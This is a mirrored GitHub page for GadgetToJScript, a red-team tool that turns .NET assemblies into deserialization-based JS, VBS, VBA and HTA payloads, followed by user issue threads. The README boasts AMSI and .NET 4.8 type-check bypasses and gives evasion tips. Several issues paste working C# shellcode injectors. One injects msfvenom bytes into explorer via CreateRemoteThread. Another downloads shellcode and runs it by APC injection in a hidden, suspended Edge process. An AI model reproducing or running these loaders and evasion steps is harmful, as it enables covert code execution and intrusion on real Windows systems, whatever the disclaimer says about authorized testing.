Giter VIP home page Giter VIP logo

gadgettojscript's Introduction

Description

A tool for generating .NET serialized gadgets that can trigger .NET assembly load/execution when deserialized using BinaryFormatter from JS/VBS/VBA scripts.
The current gadget triggers a call to Activator.CreateInstance() when deserialized using BinaryFormatter from jscript/vbscript/vba, this means it can be used to trigger execution of your .NET assembly of choice via the default/public constructor.

The tool was created mainly for automating WSH scripts weaponization for RT engagements (Initial Access, Lateral Movement, Persistence), the shellcode loader which was used for PoC is removed and replaced by an example assembly implemented in the TestAssembly project.

Details:

  • Bypasses AMSI without having to update AmsiEnable registry key or Hijack loadlibrary (AMSI.dll).
  • Bypasses .NET 4.8+ newly introduced controls for blocking "Assembly.Load" and ActivitySurrogateSelector Type checks.
  • Gadget supports proper deserialzation of payloads targetting .NET Framework 3.5 up to 4.8+ environments.
  • Depends on ActivitySurrogateSelector to create a Surrogate class which act as a wrapper to deserialize a gadget built in a way to trigger a call to "Activator.CreateInstance(Assembly.Load(your_assembly_bytes).GetType())".
  • Leveraging TextFormattingRunProperties based gadget as a first deserialization stage to disable ActivitySurrogateSelector Type check therefore bypassing fixes introduced recently in (.NET Framework 4.8+)
  • Doesn't rely mainly on exposing a .NET based COM object hence no need to call d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
  • Delegates are used only to trigger payload execution during deserialization (Func<Assembly, IEnumerable>),a requirement for proper chaining of the gadget elements.
  • Serialized gadgets or Streams length is calculated at runtime and automatically populated in the generated WSH scripts (Not required for VBA).
  • Generates VBS/VBA and JS/HTA scripts relying on registration-free activation of .NET based COM components

Usage & Notes:

You can either use the binaries located in the Release folder or use VS2017 and retarget your project to .NET version 3.5 or 4.x in order to build G2JS from source.

  • Use the .NET 3.5 version of G2JS to:

    • Generate WSH scripts targeted to run in environments where .NET Framework 4.x is not available or less than 4.8. (3.5 is the minimal required .NET Framework version), This requires to build your C# payload or .NET Assembly with .NET framework <= 3.5.
  • Use the .NET 4.x version of G2JS to:

    • Generate WSH scripts meant to run in environments where .NET Framework 4.x is available. (Includes 4.8+)
    • Generate WSH scripts for environments with .NET 4.8+ using “--bypass” option to bypass type checking.
  • C# source code payload should be placed within the default public constructor of your class. (Example of running Mimikatz from jscript; https://gist.github.com/med0x2e/cc10d42b1f581507013e801da2651c74)

  • Tests were conducted on the latest windows 10 Enterprise 1909 release and Windows 7 with different .NET framework versions installed.

  • Make sure Windows Defender is turned off when using GadgetToJScript.exe to generate WSH scripts, can be turned back on once scripts are generated.

-w, --scriptType=js Set to js, vbs, vba or hta
-a, --assembly=TestAssembly.dll .NET Assembly, example: -a C:\Users\userX\Desktop\shellcode_loader.dll/exe, alternatively you can specify a c# source file instead using -c cmdline switch.
-c, --csfile=TestAssembly.cs C# source code file, example: -c C:\Users\userX\Desktop\shellcode_loader.cs, make sure to place your code within the default constructor of your class and specify any required dependencies using -d cmdline switch.
-d, --references=Example.dll Reference Assemblies, example: -d System.Window- s.Forms.dll, System.dll
-b, --bypass Bypass type check controls introduced in .NET version 4.8+, by default set to false, set to true (--bypass/-b) in case WSH scripts are being generated to run on .NET version > 4.8+ environments. this option should be used only with .NET 4.x G2JS executable
-e, --encodeType=b64 VBA gadgets encoding: b64 or hex (default set to b64)
-o, --output=output Generated payload output file, example: -o C:\Users\userX\Desktop\output (Without extension)
-r, --regfree registration-free activation of .NET based COM components, applicable to JS/HTA scripts only.
-h, --help Show Help

OPSEC Tip:

Use the .NET 3.5 version of G2JS to generate WSH Registration-free JScript/HTA scripts which can still bypass .NET framework 4.8+ type checking without having to disable such mitigation using the first TextFormattingRunProperties stage gadget. consider this as a better/cleaner bypass to execute Reg-free JScript/HTA payloads targeting .NET 4.8+ environments as it does not require:

  • The first stage gadge
  • Creating a Shell object
  • Reading the current .NET framework version from the registry
  • Setting the COMPLUS_Version environment variable.

-> less IOCs + targetting 3.5 < .NET < 4.x Envs.

Credits & References

The tool is based on the awesome research/work done by:

Disclaimer

GadgetToJScript should be used for authorized red teaming and/or nonprofit educational purposes only. Any misuse of this software will not be the responsibility of the author. Use it at your own networks and/or with the network owner's permission.

gadgettojscript's People

Contributors

med0x2e avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

gadgettojscript's Issues

Binaries not working

Hello,

I am testing the tool but I have detected several failures:

  1. There are two projects in the solution: GadgetToJScript and
    TestAssembly . When I compile the solution, both projects are compiled, GadgetToJScript compiles correctly but TestAssembly gives me the following error: "The program does not contain any static 'Main' method suitable for an entry point". If I modify the Main by setting the method to "public static void Main(string[] args)" then it compiles correctly.
  2. When I proceed to generate an executable in vbs or vba format (for example), using the command: ".GadgetToJScript.exe -w vbs -a C:\IEUser\Documents\dummy.exe -o C:\IEUser\Documents\evil", the vbs is generated correctly, but when I run it it doesn't work as expected. Next I provide the code of the dummy.exe (this is a dummy program that simply writes a file to a path that can be written by any user to verify that it is running):
using System;
using System.IO;

namespace Dummy
{
    public class Program
    {
        public static void Main(string[] args)
        {
            File.WriteAllText(@"C:\Windows\Tasks\dummy.log","Executed from Dummy");
        }
    }
}

Thinking that it could be a problem with my dummy.exe file, I also tried the TestAssembly (compiled with the changes I mentioned above) but it didn't work either, i.e. Msgbox wasn't shown. I have done the same procedure with vbs and vba (to see different formats), but neither of them has worked. I have also thought that it could be because of architecture issue, but I have compiled the GadgetToJScript in 64 bits version and in 32 bits version and it still doesn't work.

I am using Visual Studio 2019, and Windows 10 Professional, with the Windows Defender disabled.

I hope you can help me solve it, the tool seems very powerful and I look forward to using it.

Best regards

Reference error CS0234

I am getting reference error for covenant binary grunt code.

C:\Users\<>\Desktop\Tools\payloads\GadgettoJS>GadgetToJScript.NET4.x.exe -w hta -o shell -c payload.cs
[+]: Generating the hta payload
[+]: Compiling your .NET code located at:payload.cs
Error _AssemblyLoader: Error (CS0234): The type or namespace name 'Net' does not exist in the namespace 'System' (are you missing an assembly reference?): 2
Error (CS0234): The type or namespace name 'Linq' does not exist in the namespace 'System' (are you missing an assembly reference?): 3
Error (CS0234): The type or namespace name 'RegularExpressions' does not exist in the namespace 'System.Text' (are you missing an assembly reference?): 5
Error (CS0234): The type or namespace name 'Pipes' does not exist in the namespace 'System.IO' (are you missing an assembly reference?): 6
Error (CS0246): The type or namespace name 'WebClient' could not be found (are you missing a using directive or an assembly reference?): 219
Error (CS0246): The type or namespace name 'CookieContainer' could not be found (are you missing a using directive or an assembly reference?): 221
Error (CS0246): The type or namespace name 'Uri' could not be found (are you missing a using directive or an assembly reference?): 226
Error (CS0246): The type or namespace name 'Uri' could not be found (are you missing a using directive or an assembly reference?): 230
Error (CS0246): The type or namespace name 'WebRequest' could not be found (are you missing a using directive or an assembly reference?): 230
 :    at GadgetToJScript._AssemblyLoader.compile(String csFile, String references)

Unsafe Code

Is there a way to get unsafe code to compile?

Even if precompiling the c# executable with the unsafe switch and then trying to add it into g2j ends in an error.

Looked through the source code but nothing stood out to me to change.

Thank you

Merged DLLs are converted but not executing (IE Exception)

I have a C# shellcode injector (.NET Framework 4.8) that has a dependency on BouncyCastle. To merge the DLLs I have used both ILMerge.Fody and libZ. Although the build exe works as expected, the merged DLL when used on GadgetToJScript it does not execute and IE opens:
\GadgetToJScript.exe -w js -b -a .\csharpstager_merged.dll -o new
I think this indicates that an exception with the compiled code has occured.

While I understand this might not be a direct issue of the tool, I would appreciate help if someone has needed a merged DLL or EXE to JS before, or if anybody from the dev team can help me debug it

Is it possible to inject shellcode into itself with G2J

Hi med0x2e,

Sorry, another question.

I have been playing around with g2j in a lab a lot (fantastic tool - thank you!). I have covered every single scenario but I cannot seem to get it to work if shellcode is injected into itself ie createthread / virtual alloc. I have been using shellcode such as msf to pop calc or dump hashes. I also played aorund with adding sleep in case the process was ending to quickly but nothing. Having seen that mimikatz can be embedded into g2j, I cannot see why it would not work but I am stumped. Should it be possible? and if not, would you mind explaining why? (sorry, still a newbie so still learning a lot in labs and vms).

Thanks a million

calc.exe payload not working

hello, I am using the below test assembly
payload is generated via msfvenom --platform windows -p windows/exec cmd=calc.exe EXITFUNC=thread -f csharp
I am testing using a .hta payload, payload doesn't work, it just pops open a blank white page but doesn't pop calc
syntax: GadgetToJScript.exe -a TestAssembly.dll -w hta -o test -r
am I missing something?

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
using System.Text;
//using System.Threading.Tasks;
[ComVisible(true)]
public class Program
{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    public Program()
    {
        Process[] expProc = Process.GetProcessesByName("explorer");
        int pid = expProc[0].Id;
        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
        byte[] buf = new byte[193] { 0xfc,0xe8,0x82,0x00,0x00,0x00,
            0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,
            0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
            0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,
            0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,
            0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,
            0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,
            0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
            0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,
            0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,
            0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,
            0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,
            0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
            0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,
            0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,
            0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,
            0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
        IntPtr outSize;
        WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
    }
    public void RunProcess(string path)
    {
        Process.Start(path);
    }
}

bugs!!!!

您好,你的项目GadgetToJScript,编译完后使用自带的payload.txt,无法生成js文件,报错,希望修复一下。谢谢

issues compiling

while conipiling in visual studion2017, exe produced wont run and complain about ndesk, then it will crash

Not Working with Windows Forms Applications

Hello,

I was trying to convert a typical Windows Forms Net Assembly to VBS. But I get the following error:

image

The Application is the default Windows Forms Application from Visual Studio. Also note that I have compiled with Net Framework 5. I hope you can help me to solve this error.

image

Best regards and thanks!

Not working correctly

Hello
I downloaded this and Opened the .sln file onto Visual Studio Code
I build it and it built successfully without any errors
GadgetToJScript.exe -b -w js -c dropper.cs -o test

The dropper.cs file is one that is automatically generated when starting a PoshC2 instance.

It gives me this error:
[+]: Generating the js payload
[+]: First stage gadget generation done.
[+]: Compiling your .NET code located at:dropper.cs
Error _AssemblyLoader: Error (CS1056): Unexpected character '$': 574
: at GadgetToJScript._AssemblyLoader.compile(String csFile, String references) in C:\Users\User1\Documents\data\GadgetToJScript-master\GadgetToJScript-master\GadgetToJScript_AssemblyLoader.cs:line 48

I go into Assemblyloader line 48 and see the line below. Is there something I am doing wrong?
image

Please assist if you can.

Thank you so much!

VBA macro not executing but no error message

Hello and nice to meet you,

I'v been trying to get the macro to work using different outputs but with no luck.
I also tried .net 3.5 and .net 4.8 (with -b) but the results is the same.

The original message box was working just fine but my payload do not. Even though if i switch compilation to Windows console, the C# program runs and i get code execution.

So i was wondering if you had any tips that would help me debug my program.
Maybe it's inside the project configuration (allowing unsafe, prefer 64bits/ or 32bits for dlls etc.)

Commands i ran:
.NET 4.8: .\GadgetToJScript\bin\Release\GadgetToJScript.exe -w vba-b -o .\GadgetToJScript-2.0\output\output -a .\TestAssembly\bin\Release\TestAssembly.dll
(i also tried with -r)

.NET 3.5: .\GadgetToJScript\bin\Release\GadgetToJScript.exe -w vba-o .\GadgetToJScript-2.0\output\output -a .\TestAssembly\bin\Release\TestAssembly.dll

Said Program:
Heads up, i noticed i made a mistake i used Main() instead of Program, feel free to jump to last comment for the appropriate code.

using System;
using System.Net;
using System.Runtime.InteropServices;

namespace TestAssembly
{
    public class Program
    {

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool CreateProcess(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation
        );

        [StructLayout(LayoutKind.Sequential)]
        public struct STARTUPINFO
        {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public ushort wShowWindow;
            public ushort cbReserved2;
            public byte[] lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAllocEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flAllocationType,
            uint flProtect
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(
            IntPtr hProcess,
            IntPtr lpBaseAddress,
            byte[] lpBuffer,
            uint nSize,
            out uint lpNumberOfBytesWritten
        );
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool TerminateProcess(
            IntPtr hProcess,
            uint uExitCode
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool VirtualProtectEx(
            IntPtr hProcess,
            IntPtr lpAddress,
            uint dwSize,
            uint flNewProtect,
            out uint lpflOldProtect
        );

        [StructLayout(LayoutKind.Sequential)]
        public struct Protection
        {
            public static readonly uint PAGE_EXECUTE_READ = 0x20;
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern uint QueueUserAPC(
            IntPtr pfnAPC,
            IntPtr hThread,
            IntPtr dwData
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern uint ResumeThread(
            IntPtr hThread
        );

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool CloseHandle(
            IntPtr hObject
        );


        public static void Main(string[] args)
        {

            byte[] buf;
            using (var client = new WebClient())
            {
                client.Proxy = WebRequest.GetSystemWebProxy();
                client.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;

                //TLS
                ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3;

                buf = client.DownloadData("<URL>"); // or your own payload

                STARTUPINFO si = new STARTUPINFO();
                PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

                si.cb = (uint)Marshal.SizeOf(si);

                // Set the STARTF_USESHOWWINDOW flag to hide the window
                si.dwFlags = 0x00000001;
                si.wShowWindow = 0;

                // Set the CREATE_SUSPENDED flag to create the process in a suspended state
                uint dwCreationFlags = 0x00000004;

                bool success = CreateProcess(
                    "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
                    "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window --win-session-start /prefetch:5",
                    IntPtr.Zero,
                    IntPtr.Zero,
                    false,
                    dwCreationFlags,
                    IntPtr.Zero,
                    null,
                    ref si,
                    out pi
                );

                uint flAllocationType = 0x1000; // MEM_COMMIT
                uint flProtect = 0x04; // PAGE_READWRITE
                uint flProtect_ex = 0x40; // PAGE_READWRITE

                var baseAdress = VirtualAllocEx(
                    pi.hProcess,
                    IntPtr.Zero,
                    (uint)buf.Length,
                    flAllocationType,
                    flProtect
                );

                if (baseAdress == IntPtr.Zero)
                {
                    return;
                }

                success = WriteProcessMemory(
                    pi.hProcess,
                    baseAdress,
                    buf,
                    (uint)buf.Length,
                    out _
                );

                if (!success)
                {
                    TerminateProcess(pi.hProcess, 0);
                    return;
                }


                success = VirtualProtectEx(
                    pi.hProcess,
                    baseAdress,
                    (uint)buf.Length,
                    Protection.PAGE_EXECUTE_READ,
                    out _
                );

                if (!success)
                {
                    TerminateProcess(pi.hProcess, 0);
                    return;
                }

                _ = QueueUserAPC
                (
                    baseAdress,
                    pi.hThread,
                    IntPtr.Zero
                );

                ResumeThread(pi.hThread);

                CloseHandle(pi.hThread);
                CloseHandle(pi.hProcess);

            }
        }
    }
}

Not working

when i run message.exe it will pop messagebox,nothing happened when run wscript, cscript , mshta such command

C:\Users\Alice\Desktop\tools>GadgetToJScript.NET3.5.exe -c message.txt -d System.Windows.Forms.dll -w js -r
[+]: Generating the js payload
[+]: Compiling your .NET code located at:message.txt
[+]: Second stage gadget generation done.
[*]: Payload generation completed, check: test.js

C:\Users\Alice\Desktop\tools>cscript test.js
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

C:\Users\Alice\Desktop\tools>whoami
offensive\alice

with bypass mode, error

C:\Users\Alice\Desktop\tools>GadgetToJScript.NET3.5.exe -a message.exe -w js -r -b
[+]: Generating the js payload

Unhandled Exception: System.ArgumentNullException: Value cannot be null.
Parameter name: type
   at System.Runtime.Serialization.SerializationInfo.SetType(Type type)
   at GadgetToJScript.TextFormattingRunPropertiesMarshal.GetObjectData(SerializationInfo info, StreamingContext context)
   at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.InitSerialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter)
   at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.Serialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter)
   at System.Runtime.Serialization.Formatters.Binary.ObjectWriter.Serialize(Object graph, Header[] inHeaders, __BinaryWriter serWriter, Boolean fCheck)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Serialize(Stream serializationStream, Object graph, Header[] headers, Boolean fCheck)
   at GadgetToJScript._DisableTypeCheckGadgetGenerator.generateGadget(MemoryStream ms)
   at GadgetToJScript.Program.Main(String[] args)

systeminfo

C:\Users\Alice\Desktop\tools>systeminfo

Host Name:                 CLIENT1
OS Name:                   Microsoft Windows 10 Enterprise Evaluation
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:
Registered Organization:   Microsoft
Product ID:                00329-20000-00001-AA236
Original Install Date:     3/19/2019, 5:59:35 AM
System Boot Time:          7/12/2021, 7:26:56 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 158 Stepping 10 GenuineIntel ~2592 Mhz
                           [02]: Intel64 Family 6 Model 158 Stepping 10 GenuineIntel ~2592 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 7/22/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 955 MB
Virtual Memory: Max Size:  4,479 MB
Virtual Memory: Available: 2,132 MB
Virtual Memory: In Use:    2,347 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    offensive.local
Logon Server:              \\DC
Hotfix(s):                 9 Hotfix(s) Installed.
                           [01]: KB4601555
                           [02]: KB4465065
                           [03]: KB4470788
                           [04]: KB4480056
                           [05]: KB4486153
                           [06]: KB4503308
                           [07]: KB4580325
                           [08]: KB5003243
                           [09]: KB4489899
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 192.168.159.10
                                 [02]: fe80::2d18:c49d:84a1:ee9a
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

It doesn't work on Windows Server 2008 R2

Into a VBS,doesn't work on Windows Server 2008 R2

using System;
using System.Runtime.InteropServices;
public class TestClass
{
	[DllImport("User32.dll", CharSet = CharSet.Unicode)]public static extern int MessageBox(IntPtr h, string m, string c, int t);
	public TestClass()
	{
		MessageBox((IntPtr)0, "Test .NET Assembly Constructor Called.", "Coolio", 0);
        }
}

DisableTypeCheckGadgetGenerator technique questions

Hi,
I see that in generated scripts the logic is:

  1. try to deserialize an object generated using DisableTypeCheckGadgetGenerator ( ) so the stage1 that was built in the main program.
  2. if it fails (so Catch), it will run ms_2 , that was generated by ASurrogateGadgetGenerator.

I did a test removing the stage2 part from the template and from the main, obtaining an output script that should not rely ASurrogateGadgetGenerator.

this script for me is not working, (may I miss something), but watching at the code seems that the testAssembly is serialized only in the _msStg2 and DisableTypeCheckGadgetGenerator never receive it.

so the question are:
a) is it only me or the first part of the output script will always fail? or is it intended to launch the 2nd in the try catch?
b) where is loaded the testAssembly for DisableTypeCheckGadgetGenerator ?

Thanks

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.